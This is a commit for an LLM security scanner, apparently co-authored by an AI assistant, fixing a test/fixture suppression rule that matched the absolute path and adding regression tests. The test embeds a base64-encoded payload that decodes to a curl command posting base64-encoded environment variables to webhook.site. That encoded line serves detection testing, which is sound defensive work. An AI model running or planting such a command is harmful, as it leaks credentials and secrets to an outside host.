fix(llm-security): HIGH — entropy suppression keyed off the absolute path

Rule 4 in isFalsePositive ("test/fixture files intentionally contain
example secrets") matched /(test|spec|fixture|mock|__test__|__spec__)/i
against absPath — the ABSOLUTE path. Any directory name above the scan
root therefore silenced every entropy finding in the entire target: a
repo cloned to a CI workspace, checked out under a parent folder named
`testing`, or scanned from any path with one of those substrings
reported zero secrets and still exited status 'ok'. The failure is
silent — indistinguishable from a clean scan.

- isFalsePositive takes relPath and rule 4 keys off it. relPath was
  already computed and passed down to scanFileContent; only the
  suppression check was reading the wrong one.
- classifyFileContext keeps using absPath: it reads the basename
  extension only, so directory names above the root cannot affect it.
- Rules 1-3 and 5-13 are untouched.

Regression test drives scan() end-to-end against temp roots named
llmsec-test-*, llmsec-spec-*, llmsec-fixture-* and llmsec-mock-*, with a
neutral-root control proving the payload is detectable, plus two
guards that genuine suppression still works (a *.test.mjs file and a
file under a relative tests/ directory).

npm test: 1879/1879 green (1872 + 7 new).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01TcQyMTQfyrsAapaCMPxTtQ
This commit is contained in:
Kjell Tore Guttormsen 2026-07-18 09:11:04 +02:00
commit f031dd496f
2 changed files with 110 additions and 3 deletions

View file

@ -282,9 +282,13 @@ function classifyFileContext(absPath, lines) {
* @param {string} absPath - Absolute file path
* @param {'shader-dominant'|'markup-dominant'|'code-dominant'|'mixed'} [context='mixed']
* File-level classification from classifyFileContext.
* @param {string} [relPath] - Path relative to the scan root. The test/fixture
* rule keys off this, never off absPath: a directory name ABOVE the scan root
* (clone target, parent folder, CI workspace) says nothing about whether the
* scanned file is a fixture, and matching it there silences the whole repo.
* @returns {boolean} - true if this string should be skipped
*/
function isFalsePositive(str, line, absPath, context = 'mixed') {
function isFalsePositive(str, line, absPath, context = 'mixed', relPath = '') {
// 1. URLs — entropy is misleading for long query strings / JWTs in URLs
if (str.startsWith('http://') || str.startsWith('https://')) return true;
@ -305,7 +309,8 @@ function isFalsePositive(str, line, absPath, context = 'mixed') {
}
// 4. Test/fixture files — intentionally contain example secrets, tokens, etc.
if (/(?:test|spec|fixture|mock|__test__|__spec__)/i.test(absPath)) return true;
// Scoped to the RELATIVE path: see the relPath note above.
if (/(?:test|spec|fixture|mock|__test__|__spec__)/i.test(relPath)) return true;
// 5. UUID patterns
if (UUID_PATTERN.test(str)) return true;
@ -477,7 +482,7 @@ function scanFileContent(content, absPath, relPath) {
if (!str || str.length < 10) continue;
// False positive suppression
if (isFalsePositive(str, line, absPath, fileContext)) continue;
if (isFalsePositive(str, line, absPath, fileContext, relPath)) continue;
const H = shannonEntropy(str);
let severity = classifyEntropy(H, str.length);

View file

@ -0,0 +1,102 @@
// entropy-path-suppression.test.mjs — Regression tests for the test/fixture
// suppression rule in entropy-scanner.
//
// The suppression rule ("this file is a test fixture, example secrets are
// expected") must key off the path RELATIVE to the scan target. Keying it off
// the ABSOLUTE path lets a directory name anywhere above the scan root — a
// clone target, a parent folder, a CI workspace — silence every finding in the
// whole repository.
import { describe, it, beforeEach, after } from 'node:test';
import assert from 'node:assert/strict';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { mkdtemp, writeFile, rm, mkdir } from 'node:fs/promises';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/entropy-scanner.mjs';
// Same payload the evil-project-health fixture uses: base64, len 84, H ~5.18.
const PAYLOAD =
'Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki';
const SOURCE = `// app entry\nconst ENCODED_CONFIG = '${PAYLOAD}';\nexport default ENCODED_CONFIG;\n`;
const created = [];
/** Make a scan root whose own directory name contains `marker`. */
async function makeRepo(marker, fileName = 'app.mjs', content = SOURCE) {
const root = await mkdtemp(join(tmpdir(), `llmsec-${marker}-`));
created.push(root);
await writeFile(join(root, fileName), content, 'utf8');
return root;
}
async function scanRepo(root) {
resetCounter();
const discovery = await discoverFiles(root);
return scan(root, discovery);
}
after(async () => {
for (const dir of created) await rm(dir, { recursive: true, force: true });
});
describe('entropy-scanner — suppression must not key off the absolute path', () => {
let baseline;
beforeEach(async () => {
resetCounter();
});
it('detects the payload under a neutral scan root (control)', async () => {
const root = await makeRepo('neutral');
baseline = await scanRepo(root);
assert.equal(baseline.status, 'ok');
assert.ok(
baseline.findings.length >= 1,
`control must detect the payload, got ${baseline.findings.length} findings`
);
});
// Regression: each of these markers appears ONLY in the absolute path of the
// scan root, never in the relative path of the scanned file. Before the fix
// every one of them silenced the entire scan.
for (const marker of ['test', 'spec', 'fixture', 'mock']) {
it(`still detects the payload when the scan root contains "${marker}"`, async () => {
const root = await makeRepo(marker);
const result = await scanRepo(root);
assert.equal(result.status, 'ok');
assert.ok(
result.findings.length >= 1,
`scan root named "${marker}" silenced the scan: ${result.findings.length} findings ` +
`(root=${root})`
);
assert.equal(result.findings[0].file, 'app.mjs');
});
}
it('still suppresses a file that is genuinely a test file (relative path)', async () => {
const root = await makeRepo('neutral2', 'secrets.test.mjs');
const result = await scanRepo(root);
assert.equal(result.status, 'ok');
assert.equal(
result.findings.length,
0,
'a real .test.mjs file must still be suppressed'
);
});
it('still suppresses a file inside a relative tests/ directory', async () => {
const root = await mkdtemp(join(tmpdir(), 'llmsec-neutral3-'));
created.push(root);
await mkdir(join(root, 'tests'), { recursive: true });
await writeFile(join(root, 'tests', 'app.mjs'), SOURCE, 'utf8');
const result = await scanRepo(root);
assert.equal(result.status, 'ok');
assert.equal(
result.findings.length,
0,
'a file under a relative tests/ directory must still be suppressed'
);
});
});